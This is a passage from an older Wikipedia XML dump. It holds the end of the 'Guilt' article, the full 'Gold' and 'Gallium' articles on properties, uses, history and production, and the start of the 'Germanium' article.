Traditional [[Japanese society]] and [[Ancient Greece|Ancient Greek society]] are sometimes said to be &quot;[[shame]]-based&quot; rather than &quot;guilt-based&quot; in that the social consequences of &quot;getting caught&quot; are seen as more important than the individual feelings or experiences of the agent.  This may lead to more of a focus on [[etiquette]] than [[ethics]] as understood in Western civilization.  This leads some to question why then we would adapt the word ''[[ethos]]'' from [[Ancient Greek]] when their norms are so different from ours. ''A [[m:Simple View of Ethics and Morals|meta-wikipedia article]] asks this.''

[[Christianity]] and [[Islam]] inherit most notions of guilt from [[Judaism]], [[Ancient Persia|Persia]]n and [[Ancient Rome|Roman]] ideas, mostly as interpreted through [[Augustine of Hippo|Augustine]] who adapted [[Plato]]'s ideas to Christianity. The [[Latin]] word for guilt is '''culpa''', a word sometimes seen in law literature, e.g. in &quot;mea culpa&quot;, &quot;I take [[responsibility]]&quot;.  The Latin word for [[authority]] assumes a high degree of responsibility, the English word &quot;[[province]]&quot; being a close equivalent.

===Guilt in literature===

Guilt was a main theme in [[John Steinbeck]]'s ''[[East of Eden]]'', [[Fyodor Dostoevsky]]'s ''[[Crime and Punishment]]'', Tennessee Williams' ''[[A Streetcar Named Desire]],'' [[William Shakespeare]]'s play [[Macbeth]], and many other works of literature.  It is a nearly universal concern of novelists, who explore inner [[life]] and [[secret]]s.

==Dealing with guilt==

Guilt can sometimes be remedied by [[punishment]] (a common action and advised or required in many [[legal code|legal]] and moral codes), by [[forgiveness]] (as in [[transformative justice]]), or by sincere [[remorse]] (as with [[confession]] in [[Catholicism]] or [[restorative justice]]).  Law does not usually accept the agent's [[self-punishment]], but some ancient codes did so:  in [[Athens]] the [[accused]] was permitted to propose his or her own remedy, which might in fact be a [[reward]], while the [[accuser]] proposed another, and the [[jury]] chose between.  This forced the accused to effectively bet on his support in the community - as [[Socrates]] did when he proposed &quot;room and board in the town hall&quot; as his fate.  He lost, and drank [[conium|hemlock]], a [[poison]], as advised by his accuser. Some people argue that if you feel remorse, or a desire for remorse, then you are showing you are better than your act.

==People lacking all sense of guilt==
[[Antisocial personality disorder|Psychopaths]] typically exhibit a &quot;lack of remorse or guilt&quot; in the face of wrongdoing. This is part of their deficient moral reasoning and inability to develop emotional bonds with other people.

==See also==
* [[Catholic guilt]]
* [[good faith]]
* [[helpfulness]]
* [[shame]]
* [[survivor guilt]]
* [[Fear]]
* [[Freud]]
* [[Nietzsche]]'s critics of the &quot;bad consciousness&quot;

==External links==
*[http://www.freedomsnest.com/cgi-bin/q.cgi?subject=guilt Quotes on guilt]
*[http://www.kanaan.org/israel1.htm The Guilt of Christianity Towards the Jewish People]
*[http://buddhism.kalachakranet.org/guilt.html A Buddhist View on Guilt]

[[Category:Core issues in ethics]]
[[Category:Emotion]]
[[Category:Social psychology]]

[[de:Schuld]]
[[fr:Culpabilité]]
[[io:Kulpozeso]]
[[sv:Skuld (moral)]]</text>
    </revision>
  </page>
  <page>
    <title>Gold</title>
    <id>12240</id>
    <revision>
      <id>42113579</id>
      <timestamp>2006-03-03T22:33:09Z</timestamp>
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      <text xml:space="preserve">{{otheruses}}
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{{Elementbox_footer | color1=#ffc0c0 | color2=black}}

'''Gold''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''Au''' (from the [[Latin language|Latin]] ''aurum'') and [[atomic number]] 79. A soft, shiny, yellow, dense, malleable, ductile (trivalent and univalent) [[transition metal]], gold does not react with most chemicals but is attacked by [[chlorine]], [[fluorine]] and [[aqua regia]]. The metal occurs as [[gold nugget|nuggets]] or grains in rocks and in [[alluvial deposit]]s and is one of the [[coinage metal]]s.

For millennia, gold has served as money and is also used in [[jewelry]], [[dentistry]], and in [[electronics]]. Gold forms the basis for a [[Gold standard|monetary standard]] used by the [[International Monetary Fund]] (IMF) and the [[Bank for International Settlements]] (BIS). Its [[ISO 4217|ISO currency code]] is '''XAU'''.

==Notable characteristics==
Gold is a metallic element with a characteristic [[yellow]] color, but can also be [[black]] or [[ruby]] when finely divided, while [[colloid]]al solutions are intensely colored and often [[purple]]. These colors are the result of gold's [[plasmon frequency]] lying in the visible range, which causes red and yellow light to be reflected, and blue light to be absorbed. Only silver colloids exhibit the same interactions with light, albeit at a shorter frequency, making silver colloids yellow in color.

It is the most [[malleable]] and [[ductility|ductile]] [[metal]] known; a single [[gram]] can be beaten into a sheet of one [[square metre]], or an [[ounce]] into 300 [[square foot|square feet]]. A soft metal, gold will readily form alloys with many other metals. This can be done to increase its strength, or create several exotic colors, sold for instance in the western [[United States]] to the tourist trade as &quot;[[Black Hills]]&quot; gold. Adding [[copper]] yields a redder metal, [[iron]] blue, Silver produces green, [[aluminium]] purple, [[platinum]] metals white, and natural [[bismuth]] together with silver alloys produce black. Native gold contains usually eight to ten per cent [[silver]], but often much more &amp;mdash; alloys with a silver content over 20% are called [[electrum]]. As the amount of silver increases, the color becomes whiter and the [[Relative density|specific gravity]] reduces.

Gold is a good conductor of [[heat]] and [[electricity]], and is not affected by [[Earth's atmosphere|air]] and most [[reagent]]s. Heat, moisture, [[oxygen]], and most [[corrosion|corrosive]] agents have very little chemical effect on gold, making it well-suited for use in [[coin]]s and [[jewelry]]; conversely, [[halogen]]s will chemically alter gold, and [[aqua regia]] dissolves it.

Common [[oxidation state]]s of gold include +1 (gold(I) or aurous compounds) and +3 (gold(III) or auric compounds). Gold ions in solution are readily [[reduction (chemistry)|reduced]] and [[Precipitation (chemistry)|precipitated]] out as gold metal by the addition of virtually any other metal as the reducing agent. The added metal is [[oxidation|oxidized]] and dissolves allowing the gold to be displaced from solution and be recovered as a solid precipitate.

Recent research undertaken by Frank Reith of the Australian National University shows that microbes play an important role in the formation of gold deposits, transporting and precipitating gold to form grains and nuggets that collect in alluvial deposits.
[http://www.abc.net.au/science/news/enviro/EnviroRepublish_1032376.htm]

==Applications==
Pure gold is too soft for ordinary use and is hardened by [[alloy]]ing with silver, copper, and other metals. Gold and its many alloys are most often used in [[jewelry]], [[Coin|coinage]] and as a standard for [[money|monetary]] exchange in many countries. Because of its high electrical conductivity and resistance to corrosion and other desirable combinations of physical and chemical properties, gold also emerged in the late [[20th century]] as an essential industrial metal.

*Gold can be made into [[gold thread|thread]] and used in [[embroidery]].
*Gold performs critical functions in [[computer]]s, communications equipment, [[spacecraft]], [[jet aircraft]] engines, and a host of other products.
*The resistance to oxidation of gold has led to its widespread use as thin layers [[Electroplating|electroplated]] on the surface of electrical connectors to ensure a good connection.
*Gold is used in restorative dentistry especially in tooth restorations such as [[crown (dentistry)|crowns]] and [[bridges]].
*[[Colloidal gold]] (a gold [[nanoparticle]]) is an intensely [[color]]ed solution that is currently studied in many labs for medical, biological and other applications. It is also the form used as gold paint on [[ceramic]]s prior to firing.
*[[Chlorauric acid]] is used in [[photography]] for toning the silver image.
*[[Gold(III) chloride]] is used as a [[catalyst]] in [[organic chemistry]]. It is also the usual starting point for making other gold [[Inorganic compound|compounds]].
* Gold is used as a coating enabling biological material to be viewed under a [[scanning electron microscope]].
* Many competitions and honors, such as the [[Olympics]] and the [[Nobel Prize]], award a gold [[medal]] to the winner (with [[silver]] to the second-place finisher, and [[bronze]] to the third.)
*Since it is a good reflector of both infrared and visible light, it is used for the protective coatings on many artificial [[satellite]]s and on the astronauts helmets to prevent blindness from the sun.
*[[Disodium aurothiomalate]] is a treatment for rheumatoid [[arthritis]] (administered intramuscularly). It inhibits [[lymphocyte]] proliferation, [[lysosome|lysosomal]] enzyme release, the release of [[reactive oxygen species]] from [[macrophage]]s, and [[IL-1]] production. However, it can also cause photosensitive [[rash]]es, gastrointestinal disturbance, and [[kidney]] damage.
*The gold isotope Au-198, ([[half-life]]: 2.7 days) is used in some [[cancer]] treatments and for treating other diseases.
*Gold flake is used on and in some gourmet sweets and drinks. Called [[varak]] or (varaq) in India. Having no reactivity it adds no taste but is taken as a delicacy.  Some use it as an excuse to create super-expensive delicacies ($1,000 cocktails). For similar reasons, it also used as the basis for some superstitious, over the top, health claims. Only the salts and radioisotopes (mentioned above) have any evidence of medicinal value.
*[[White gold]] (an alloy of gold with [[platinum]], [[palladium]], [[nickel]], and/or [[zinc]]) serves as a substitute for platinum.
*[[Green gold]] (a gold/[[silver]] alloy) is used in specialized jewelry while gold alloys with copper (reddish color) are more widely used for that purpose ([[rose gold]])*.

==History==
Gold ( [[Sanskrit]] ''jval'',[[Tamil]] ''thangAm'' [[Greek language|Greek]] χρυσóς [''khrisós''], [[Latin]] ''aurum'' for &quot;shining dawn&quot;, [[Anglo-Saxon language|Anglo-Saxon]] ''gold'', [[Chinese language|Chinese]] &amp;#37329; [''j&amp;#299;n''],[[Japanese language|Japanese]] &amp;#37329; [''kin''] ) has been known and highly valued since prehistoric times. It may have been the first metal used by [[human]]s and was valued for ornamentation and rituals. [[Egyptian hieroglyph]]s from as early as [[2600 BCE]] describe gold, which king [[Tushratta]] of the [[Mitanni]] claimed was as &quot;common as dust&quot; in Egypt. Egypt and [[Nubia]] had the resources to make them major gold-producing areas for much of  history. Gold is also mentioned several times in the [[Old Testament]]. The south-east corner of the [[Black Sea]] was famed for its gold. Exploitation is said to date from the time of [[Midas]], and this gold was important in the establishment of what is probably the world's earliest coinage in [[Lydia]] between [[630s BCE|643 and 630 BCE]].

The European exploration of the Americas was fueled in no small part by reports of the gold ornaments displayed in great profusion by [[Indigenous peoples of the Americas|Native American]] peoples, especially in [[Central America]], [[Peru]], and [[Colombia]].

Gold has long been considered one of the most [[precious metal]]s, and its value has been used as the standard for many [[currency|currencies]] (known as the [[gold standard]]) in history. Gold has been used as a symbol for purity, value, royalty, and particularly roles that combine these properties (see [[gold album]]).

Gold in antiquity was relatively easy to obtain geologically; however, 75% of all gold ever produced has been extracted since [[1910]].[http://www.goldsheetlinks.com/production2.htm] It has been estimated that all the gold in the world that has ever been refined would form a single cube [[1 E2 m|20 m]] (66 ft) a side.

The primary goal of the [[alchemy|alchemists]] was to produce gold from other substances, such as [[lead]] &amp;mdash; presumably by the interaction with a mythical substance called the [[philosopher's stone]]. Although they never succeeded in this attempt, the alchemists promoted an interest in what can be done with substances, and this laid a foundation for today's [[chemistry]]. Their symbol for gold was the [[circle with a point at its centre|circle with a point at its center]] (&amp;#x2609;), which was also the [[astrology|astrological]] symbol, the [[Egypt]]ian [[Egyptian hieroglyph|hieroglyph]] and the ancient [[Chinese character]] for the [[Sun]] (now &amp;#26085;). For modern attempts to produce artificial gold, see [[gold synthesis]].

During the [[19th century]], [[gold rush]]es occurred whenever large gold deposits were discovered, including the [[California gold rush|California]], [[Colorado gold rush|Colorado]], [[Central Otago goldrush|Otago]], [[Australia]], [[Witwatersrand]], [[Black Hills]], and [[Klondike, Yukon|Klondike]] gold rushes.

Because of its historically high value, much of the gold mined throughout history is still in circulation in one form or another.

==Occurrence==
{{See also|:Category:Gold minerals}}
[[Image:GoldNuggetUSGOV.jpg|thumb|left|200px|A gold nugget]]
[[Image:Native gold nuggets.jpg|200px|right|thumb|Raw gold from California (top) and Australia (bottom), showing [[octahedron|octahedral]] formations]]
Due to its relative chemical inertness gold is usually found as the native metal or alloy. Occasionally large accumulations of native gold (also known as [[gold nugget|nuggets]]) occur but usually gold occurs as minute grains. These grains occur between mineral grain boundaries or as inclusions within minerals. Common gold associations are [[quartz]] often as [[vein]]s and sulfide minerals. The most common sulfide associations are [[pyrite]], [[chalcopyrite]], [[galena]], [[sphalerite]], [[arsenopyrite]], [[stibnite]] and [[pyrrhotite]]. Rarer mineral associations are [[petzite]], [[calaverite]], [[sylvanite]], [[muthmannite]], [[nagyagite]] and [[krennerite]].

Gold is widely distributed in the Earth's [[Crust (geology)|crust]] at a background level of 0.03 [[gram|g]]/1000 [[kilogram|kg]] (0.03 [[Parts per million|ppm]] by weight). [[Hydrothermal]] [[ore]] deposits of gold occur in [[metamorphic rock]]s and [[igneous rock]]s; [[alluvial deposit]]s and [[placer deposit]]s originate from these sources.

The primary source of gold is usually igneous rocks or surface concentrations. A deposit usually needs some form of secondary enrichment to form an economically viable ore deposit: either chemical or physical processes like [[erosion]] or solution or more generally [[metamorphism]], which concentrates the gold in sulfide minerals or quartz. There are several primary deposit types, common ones are termed reef or vein. Primary deposits can be weathered and eroded, with most of the gold being transported into stream beds where it congregates with other heavy minerals to form placer deposits. In all these deposits the gold is in its native form. Another important ore type is in [[sedimentary]] black [[shale]] and [[limestone]] deposits containing finely disseminated gold and other [[platinum]] group metals.

Gold occurs in sea water at 0.1 to 2 [[milligram|mg]]/[[tonne|t]] (0.1 to 2 [[Parts per billion|ppb]] by weight) depending on sample location.

==Production==
{{Main articles|[[Gold prospecting]], [[Gold mining]] and [[Gold extraction]]}}
[[Image:Gold mine.jpg|thumb|250px|right|The entrance to an underground gold mine in Victoria, Australia]]
[[Image:GoldOreUSGOV.jpg|175px|right|thumb|Gold ore]]

Economic [[gold extraction]] can be achieved from ore grades as little as 0.5 g/1000 kg (0.5 ppm) on average in large easily mined deposits, typical ore grades in [[open-pit mining|open-pit]] mines are 1–5 g/1000 kg (1-5 ppm), ore grades in underground or [[hard rock mining|hard rock]] mines are usually at least 3 g/1000 kg (3 ppm) on average. Ore grades of 30 g/1000 kg (30 ppm) are usually needed before gold is visible to the naked eye, therefore in most gold mines you will not see any gold. It is claimed, that all the gold that has been mined throughout the history of mankind could be incorporated in a solid ball with a diameter of 27 [[metre]]s.

Since the 1880s [[South Africa]] has been the source for a large proportion of the world's gold supply. Production in 1970 accounted for 79% of the world supply, producing about 1,000 tonnes, however production in 2004 was 342 tonnes. This decline was due to the increasing difficulty of extraction and changing economic factors affecting the industry in South Africa.

The city of [[Johannesburg]] was built atop the world's greatest gold finds. Gold fields in the [[Orange Free State]] and the [[Transvaal]] are deep and require the world's deepest mines. The [[Second Boer War]] of [[1899]]&amp;ndash;[[1901]] between the [[British Empire]] and the white [[Boers]] was at least partly over the rights of miners and possession of the gold wealth in South Africa.

Other major producers are [[Canada]], [[United States]] and [[Western Australia]]. Mines in [[South Dakota]] and [[Nevada]] supply two-thirds of gold used in the United States. [[Siberian]] regions of the [[USSR]] also used to be significant in the global gold mining industry. [[Kolar Gold Fields]] in [[India]] is another example of a city being built on the greatest gold deposits in [[India]]. In South America, the controversial project [[Pascua Lama]] aims at exploitation of rich fields in the high mountains of [[Atacama]], at the border between [[Chile]] and [[Argentina]].

After initial production, gold is often subsequently refined industrially by the [[Wohlwill process]] or the [[Miller process]].  Other methods of assaying and purifying smaller amounts of gold include [[parting and inquartation]] as well as [[cuppelation]], or refining methods based on the dissolution of gold in [[aqua regia]].

The world's oceans hold a vast amount of gold, but in very low concentrations (perhaps 1-2 parts per billion). [[Fritz Haber]] (the German inventor of the [[Haber process]]) attempted commercial extraction of gold from sea water in an effort to help pay Germany's reparations following the [[First World War]]. Unfortunately, his assessment of the concentration of gold in sea water was unduly high, probably due to sample contamination. The effort produced little gold and cost the German government far more than the commercial value of the gold recovered. No commercially viable mechanism for performing gold extraction from sea water has yet been identified.  [[Gold synthesis]] is not economically viable and is unlikely to become so in the foreseeable future.  

Typical gold mining costs are $238 per [[troy ounce]] on average but these can vary widely depending on mining type and ore quality. At the end of 2001, it was estimated that all the gold ever mined totalled 145,000 tonnes. In 2001, global mine production amounted to 2,604 tonnes, or 67% of total gold demand in that year [http://www.gold.org/discover/knowledge/faqs/].

==Price==
{{Main articles|[[Gold as an investment]] and [[Gold standard]]}}

[[Image:3sovriegns.jpg|thumb|right|190px|Three [[gold sovereign|Gold Sovereign]]s with a [[Krugerrand]]]]
[[Image:Goldkey_logo_removed.jpg|thumb|right|190px|Swiss minted 1 kg [[gold bar]].]]

Like other precious metals, gold is measured by [[troy weight]] and by [[gram]]s. When it is alloyed with other metals the term ''[[carat (purity)|carat]]'' or ''karat'' is used to indicate the amount of gold present, with 24 carats being pure gold and lower ratings proportionally less. The purity of a [[gold bar]] can also be expressed as a decimal figure ranging from 0 to 1, known as the [[millesimal fineness]], such as 0.995.

The price of gold is determined on the open market, but a procedure known as the [[Gold Fixing]] in [[London]], originating in 1919, provides a twice-daily benchmark figure to the industry.

Historically gold was used to back currency in an economic system known as the [[gold standard]] a certain [[weight]] of gold was given the name of a unit of currency. For a long period the United States government set the value of the US dollar so that one  [[troy weight|troy ounce]] was equal to $20.67 ($664.56/kg), but in [[1934]] the dollar was revalued to $35.00 per troy ounce ($1125.27/kg). By 1961 it was becoming hard to maintain this price, and a pool of US and European banks agreed to manipulate the market to prevent further currency devaluation against increased gold demand.

On [[March 17]] [[1968]], economic circumstances caused the collapse of the gold pool, and a two-tiered pricing scheme was established whereby gold was still used to settle international accounts at the old $35.00 per troy ounce ($1.13/g) but the price of gold on the private market was allowed to fluctuate; this two-tiered pricing system was abandoned in 1975 when the price of gold was left to find its free-market level. Central banks still hold historical [[official gold reserves|gold reserves]] as a [[store of value]] although the level has generally been declining. The largest gold depository in the world is that of the [[U.S. Federal Reserve Bank]], in [[New York]].

Since 1968 the price of gold on the open market has ranged widely, with a record high of $850/oz ($27,300/kg) on [[21 January]] [[1980]], to a low of $252.90/oz ($8,131/kg) on [[21 June]] [[1999]] (London Fixing). Prices have risen to the $570/oz ($18,300/kg) mark in early 2006 [http://kitco.com/LFgif/au3650nyb.gif].

==Restrictions on gold ownership==
Because of its use as a reserve store of value, the possession of gold is sometimes restricted or banned. Within the United States, the private possession of gold except as jewelry and coin collecting was banned between 1933 and 1975. President [[Franklin D. Roosevelt]] expropriated gold by [http://www.the-privateer.com/1933-gold-confiscation.html Executive Order 6102], and President [[Richard Nixon]] closed the gold window by which foreign countries could exchange American dollars for gold at a fixed rate.

==Compounds/isotopes==
Although gold is a [[noble metal]], it can form many compounds, auric chloride (Au[[chlorine|Cl]]&lt;sub&gt;3&lt;/sub&gt;) and chlorauric acid ([[hydrogen|H]]AuCl&lt;sub&gt;4&lt;/sub&gt;) being the most common. Gold compounds can be aurous (univalent, +1) or auric (trivalent, +3). Gold also can under extreme conditions form a +5 state with fluorine (gold pentafluoride, AuF&lt;sub&gt;5&lt;/sub&gt;), as well as (unusually for a metal), a -1 state. Such compounds containing the Au&lt;sup&gt;-&lt;/sup&gt; [[anion]] are called ''aurides'' and include [[caesium]] auride, CsAu, rubidium auride, [[rubidium|Rb]]Au, and tetramethylammonium auride, (CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;4&lt;/sub&gt;N&lt;sup&gt;+&lt;/sup&gt; Au&lt;sup&gt;-&lt;/sup&gt;.

Gold also forms:
*The AuCl&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;-&lt;/sup&gt; ion after dissolving in [[aqua regia]]
*[[Gold halide]]s ([[fluorine|F]],[[chlorine|Cl]],[[bromine|Br]],[[iodine|I]])
*[[Gold chalcogenides]] ([[oxygen|O]], [[sulfur|S]], [[selenium|Se]],[[tellurium|Te]])
*[[Gold cluster compound]]s
*Gold [[hydrazine|hydrazide]]: an olive-green powder, AuN&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;3&lt;/sub&gt;, one of several explosive compounds known archaically as ''aurum fulminans''

There is only one stable [[isotope]] of gold, and 18 [[radioisotope]]s with Au-195 being the most stable with a [[half-life]] of 186 days.

==Precautions==
The human body does not absorb gold very well, thus compounds of gold are not normally very toxic. [[Liver]] and [[kidney]] damage has, however, been reported for up to 50% of arthritis patients treated with gold-containing drugs. Gold used in dentistry is widely regarded as the safest form of restorative material, as well as the most successful.

==Symbolism==
Gold has been associated with the extremities of utmost evil and great sanctity throughout history. The [[Golden Calf]] is a widely-recognised symbol of [[idolatry]] and revolt against God. In [[Communist]] [[propaganda]], the golden [[pocket watch]] and its fastening golden chain were the characteristic accessories of the class enemy, the bourgeois and the industrial [[tycoon]]s.

On the other hand, eminent [[orator]]s such as [[John Chrysostom]] were said to have a ''mouth of gold with a silver tongue''. Gold is associated with notable anniversaries, particularly in a 50 year cycle, such as a golden [[wedding anniversary]], [[golden jubilee]], etc.

Great human achievements are frequently rewarded with gold, in the form of medals and decorations. Winners of races and prizes are usually awarded the gold medal (such as the [[Olympic Games]] and the [[Nobel Prize]]), while many award statues are depicted in gold (such as the [[Academy Awards]], the [[Emmy Awards]] and the [[British Academy Film Awards]]).

Medieval kings were inaugurated under the signs of [[anointing|sacred oil]] and a golden crown, the latter symbolizing the eternal shining light of heaven and thus a [[Christian]] king's divinely inspired authority. Wedding rings are traditionally made of gold; since it is long-lasting and unaffected by the passage of time, it is considered a suitable material for everyday wear as well as a metaphor for the relationship. In [[Orthodox Christianity]], the wedded couple is adorned with a golden crown during the ceremony, an amalgamation of symbolic rites.

The symbolic value of gold varies wildly around the world, even within geographic regions. For example, gold is quite common in [[Turkey]] but considered a most valuable gift in [[Sicily]].

==References==
*[http://periodic.lanl.gov/elements/79.html Los Alamos National Laboratory &amp;ndash; Gold]
*[http://www.infoplease.com/ce6/sci/A0821152.html The Columbia Electronic Encyclopedia, 6th ed]

==See also==
* [[22/22k]]
* [[Carat (purity)]]
* [[Colloidal gold]]
* [[Gold as an investment]]
* [[Gold coin]]
* [[Socialism and Gold]]
* [[Precious metal]]

==External links==
{{Commons|Gold}}
*[http://www.webelements.com/webelements/elements/text/Au/index.html WebElements.com &amp;ndash; Gold] (also used as a reference)
*[http://mineral.galleries.com/minerals/elements/gold/gold.htm Mineral Galleries - Native Gold]
*[http://www.lateralscience.co.uk/gold/auriferous.html ''Getting Gold'' 1898 book]

&lt;!-- The below are interlanguage links. --&gt;

[[Category:Chemical elements]]
[[Category:Transition metals]]
[[Category:Precious metals]]
[[Category:Native element minerals]]
[[Category:Gold|*Gold]]
[[Category:Historical trading items]]

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  <page>
    <title>Gallium</title>
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      <comment>Revert to revision 41451632 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
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'''Gallium''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''Ga''' and [[atomic number]] 31. A rare, soft silvery metallic [[poor metal]], gallium is a brittle solid at low temperatures but liquefies slightly above room temperature and indeed will melt in the hand. It occurs in trace amounts in [[bauxite]] and [[zinc]] ores. An important application is in the compound [[gallium arsenide]], used as a [[semiconductor]], most notably in [[light-emitting diode]]s (LEDs).

== Notable characteristics ==
Very pure gallium has a stunning silvery color and its solid metal fractures [[Conchoidal fracture|conchoid]]ally like [[glass]]. Gallium metal expands by 3.1 percent when it solidifies, and therefore should not be stored in either glass or metal containers, as they may break as the metal solidifies. Gallium also [[corrosion|corrodes]] most other metals by [[diffusion|diffusing]] into their metal [[crystal structure|lattice]].

Gallium is one of the metals (with [[caesium]] and [[mercury (element)|mercury]]) which are liquid at or near normal room temperature, and can therefore be used in metal-in-glass [[thermometer]]s. It is also notable for having one of the largest liquid ranges for a metal, and (unlike mercury) for having a low [[vapor pressure]] at high temperatures.

This metal has a strong tendency to [[supercool]] below its [[melting point]], thus necessitating [[seed crystal|seeding]] in order to solidify. High-purity gallium is attacked slowly by [[mineral acid]]s.
The [[melting point]] temperature is very low, ''T'' = 30 °C, and the density is higher in the liquid state than in the crystalline state (like water, but unlike most materials).

Gallium does not [[crystal]]lize in any of the simple [[crystal structure]]s. The stable phase under normal conditions is [[orthorhombic]] with 8 atoms in the conventional [[unit cell]]. Each atom has only one nearest neighbor (at a distance of 244 [[picometre|pm]]) and six other neighbors within additional 39 pm. Many stable and [[metastable]] phases are found as function of temperature and pressure.

The bonding between the nearest neighbors is found to be of [[covalent]] character, hence Ga&lt;sub&gt;2&lt;/sub&gt; [[dimer]]s are seen as the fundamental building blocks of the crystal. The compound with [[arsenic]], [[gallium arsenide]] is a [[semiconductor]] commonly used in [[light-emitting diode]]s.

== Applications ==
Analog [[integrated circuit]]s are the most common application for gallium, with [[optoelectronic]] devices (mostly [[laser diode]]s and light-emitting diodes) as the second largest end use. &lt;br&gt;
Other uses include:
*Since it [[wetting|wets]] glass or [[porcelain]], gallium can be used to create brilliant [[mirror]]s.
*Used widely as a [[dopant]] to [[doping (semiconductor)|dope]] [[semiconductor]]s and produce solid-state devices like [[transistor]]s.
*Gallium readily [[alloy]]s with most metals, and has been used as a component in [[fusible alloy|low-melting alloys]].  The [[plutonium]] pits of [[nuclear weapons]] employ an alloy with gallium to stabilize the [[allotropy|allotrope]]s of plutonium.  Much research is being devoted to gallium alloys as substitutes for mercury [[dental]] [[amalgam]]s, but such compounds have yet to see wide acceptance.  
*Gallium added in quantities up to 2% in common [[solder]]s can aid wetting and flow characteristics.
*Gallium is used in some high temperature thermometers, and a [[eutectic]] alloy of gallium, [[indium]], and [[tin]] is widely available in fever thermometers, replacing mercury.  This alloy, with the trade name ''[[Galinstan]]'', has a freezing point of &amp;minus;20 °C.
*[[Magnesium]] [[gallate]] containing impurities (such as Mn&lt;sup&gt;+2&lt;/sup&gt;), is beginning to be used in [[ultraviolet]]-activated [[phosphor]] powder.
*It has been suggested that a liquid gallium-[[tin]] alloy could be used to cool computer chips in place of water. As it conducts heat approximately 65 times better than water it makes a considerably better [[coolant]]. [http://www.newscientist.com/article.ns?id=dn7348]
*Gallium [[salt]]s like gallium [[citrate]] and gallium [[nitrate]] are used as [[radiocontrast]] agents in [[medical imaging]].  For these applications, a [[radionuclide|radioactive isotope]] such as &lt;sup&gt;67&lt;/sup&gt;Ga is used.
*Gallium is the rarest component of new [[photovoltaic]] compounds (such as copper indium gallium selenium sulphide or Cu(In,Ga)(Se,S)2, recently announced by South African researchers) for use in solar panels as an alternative to [[crystalline silicon]], which is in currently short supply.

== History ==
Gallium ([[Latin]] ''Gallia'' meaning [[Gaul]]; also ''gallus'', meaning &quot;rooster&quot;) was discovered [[spectroscopy|spectroscopically]] by [[Lecoq de Boisbaudran]] in [[1875]] by its characteristic spectrum (two [[violet (color)|violet]] lines) in an examination of a [[zinc blende]] from the [[Pyrenees]]. Before its discovery, most of its properties had been predicted and described by [[Dmitri Mendeleev]] (who called the hypothetical element ''[[Mendeleev's predicted elements|eka-aluminium]]'') on the basis of its  position in his [[periodic table]]. Later, in 1875, Boisbaudran obtained the free metal through the [[electrolysis]] of its [[hydroxide]] in [[potassium hydroxide|KOH]] solution. He named the element after his native land of [[France]] and, in one of those multilingual [[pun]]s so beloved of men of science of the early [[19th century]], after himself, as 'Lecoq' = the [[rooster]], and [[Latin]] for rooster is &quot;gallus&quot;.

== Occurrence ==
Gallium does not exist in pure form in nature, nor are gallium compounds a primary source of extraction.  It is rather found and extracted as a trace component in [[bauxite]], [[coal]], [[diaspore]], [[germanite]], and [[sphalerite]].  The [[United States Geological Survey|USGS]] estimates gallium reserves based on 50 ppm by weight concentration in known reserves of bauxite and zinc ores.  Some [[flue]] [[dust]]s from burning coal have been shown to contain as much 1.5 percent gallium.

Most of the gallium is extracted from the crude [[aluminium hydroxide]] solution of the [[Bayer process]]. A [[mercury (element)|mercury]] cell [[electrolysis]] and [[hydrolysis]] of the [[amalgam]] with [[sodium hydroxide]] leads to the sodium gallate. Electrolysis than gives pure gallium, for [[semiconductor]]s further purification is done similar to [[silicon]] like [[zone melting]] and with the [[Czochralski process]].

== Precautions ==
While not considered toxic, the data about gallium is inconclusive. Some sources suggest that it may cause [[dermatitis]] from prolonged exposure; other tests have not caused a positive reaction. It will however stain your skin if you hold it in your bare hands.

== References ==
*[http://periodic.lanl.gov/elements/31.html Los Alamos National Laboratory &amp;ndash; Gallium]
Since aluminum and gallium form a low-melting [[eutectic]] mixture, air transport of gallium poses a potential risk that the gallium could melt and leak from its container, possibly contacting the [[aluminum]] structure of the aircraft.  If this were to occur, the gallium could attack the aluminum and weaken it, possibly with catastrophic results.  For this reason, air transport regulations for gallium metal place stringent requirements on the packaging and maximum permissible quantities of the gallium.

== External links ==
{{Commons|Gallium}}
*[http://www.webelements.com/webelements/elements/text/Ga/index.html WebElements.com &amp;ndash; Gallium]
*[http://www.pniok.de/ga.htm Picture in the Element collection from Heinrich Pniok]

[[Category:Chemical elements]]
[[Category:Poor metals]]
[[Category:Coolants]]

[[af:Gallium]]
[[bs:Galijum]]
[[ca:Gal·li]]
[[cs:Gallium]]
[[de:Gallium]]
[[et:Gallium]]
[[es:Galio]]
[[eo:Galiumo]]
[[fr:Gallium]]
[[ko:갈륨]]
[[io:Galio]]
[[is:Gallín]]
[[it:Gallio (elemento)]]
[[he:גליום]]
[[ku:Galyûm]]
[[lv:Gallijs]]
[[lt:Galis]]
[[hu:Gallium]]
[[nl:Gallium]]
[[ja:ガリウム]]
[[no:Gallium]]
[[nn:Gallium]]
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[[simple:Gallium]]
[[sk:Gálium]]
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[[sr:Галијум]]
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[[th:แกลเลียม]]
[[tr:Galyum]]
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[[zh:镓]]</text>
    </revision>
  </page>
  <page>
    <title>Germanium</title>
    <id>12242</id>
    <revision>
      <id>41645951</id>
      <timestamp>2006-02-28T19:41:18Z</timestamp>
      <contributor>
        <username>Latinus</username>
        <id>800894</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/216.239.28.226|216.239.28.226]] ([[User talk:216.239.28.226|talk]]) to last version by Paul August</comment>
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{{Elementbox_isotopes_decay | mn=68 | sym=Ge | na=[[synthetic radioisotope|syn]] | hl=[[1 E7 s|270.8]] [[day|d]] | dm=[[electron capture|ε]] | de=- | pn=68 | ps=[[gallium|Ga]] }}
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{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#cccc99 | color2=black }}

'''Germanium''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''Ge''' and [[atomic number]] 32. This is a lustrous, hard, silver-white, [[metalloid]] that is chemically similar to [[tin]]. Germanium forms a large number of organometallic compounds and is an important [[semiconductor]] material used in [[transistor]]s.

== Notable characteristics ==
